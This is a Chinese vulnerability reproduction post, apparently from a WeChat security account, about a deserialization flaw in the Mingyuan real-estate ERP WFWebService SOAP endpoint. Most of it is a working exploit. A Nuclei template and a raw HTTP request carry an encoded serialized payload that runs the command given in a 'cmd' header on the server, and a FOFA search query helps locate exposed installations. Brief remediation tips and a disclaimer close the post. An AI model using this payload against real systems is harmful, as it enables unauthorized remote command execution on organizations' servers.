漏洞描述：
明源地产ERP系统WFWebService存在反序列化漏洞。反序列化漏洞是一种安全漏洞，通常发生在应用程序处理序列化数据时。攻击者可以利用这个漏洞，通过构造恶意的序列化数据，导致应用程序执行未授权的操作或执行恶意代码。
—
Nuclei POC
id: mingyuandichan-ERP-WFWebService-deserialization
info:
name: 明源地产ERP系统WFWebService存在反序列化漏洞
author: J
severity: high
metadata:
fofa-query: title="明源地产ERP"
http:
- raw:
- |
POST /MyWorkflowManagement/WebService/WFWebService.asmx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/WriteLog"
cmd: dir
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<WriteLog xmlns="http://tempuri.org/">
<request>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</request>
</WriteLog>
</soap:Body>
</soap:Envelope>
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body,"<DIR>")'
condition: and
—
搜索语法
FOFA：title="明源地产ERP"
界面如下
—
漏洞复现
漏洞检测POC
POST /MyWorkflowManagement/WebService/WFWebService.asmx HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Connection: close Content-Length: 4604 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/WriteLog" cmd: dir Accept-Encoding: gzip <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <WriteLog xmlns="http://tempuri.org/"> <request>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</request> </WriteLog> </soap:Body> </soap:Envelope>
neclei批量检测截图
—
修复建议
1、输入验证：对反序列化的数据进行严格的验证。
2、使用安全的序列化库：选择经过审计的库，避免使用不安全的实现。
3、限制对象的类型：在反序列化时限制可创建的对象类型。
4、监控和日志：记录异常行为，及时发现潜在的攻击。
原文始发于微信公众号（脚本小子）：明源地产ERP系统WFWebService存在反序列化漏洞【漏洞复现|附nuclei-POC】
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论